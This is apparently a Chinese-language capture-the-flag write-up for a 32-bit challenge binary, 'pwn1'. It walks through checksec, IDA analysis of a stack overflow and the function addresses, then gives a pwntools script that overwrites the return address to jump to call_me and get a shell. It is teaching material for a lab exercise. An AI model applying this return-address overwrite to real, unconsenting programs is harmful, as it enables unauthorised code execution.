CTF-Pwn1
- 首先使用
checksec
工具进行检查:
可以发现,pwn1
程序为32位,仅开启了DEP保护,动态链接。
- 然后使用ida64打开进行静态分析,可见
stack_overflow
函数存在漏洞,可以进行栈溢出攻击。
main
:
stack_flow
:
call_me
:
另外,发现内部有call_me
函数,可知需要通过栈溢出覆盖返回地址为call_me
函数地址。
- 上述函数地址:
函数名 | 地址 |
---|---|
main |
0x080484C2 |
stack_flow |
0x08048494 |
call_me |
0x0804846B |
- 使用gdb工具进行调试,可以查看栈的情况。
- 构造python脚本进行动态调试:
python
:
from pwn import *
context(arch="i386", log_level="debug")
p = process("./pwn1")
call_me = 0x0804846B
leave = 0x080484C0
retn = 0x080484F4
payload = flat(b'a'*(0x28), retn, call_me)
p.recvuntil("Please finish pwn1!")
gdb.attach(p, 'b *0x080484C0')
p.send(payload)
p.interactive()
- 最终成功执行
call_me
函数,获取shell。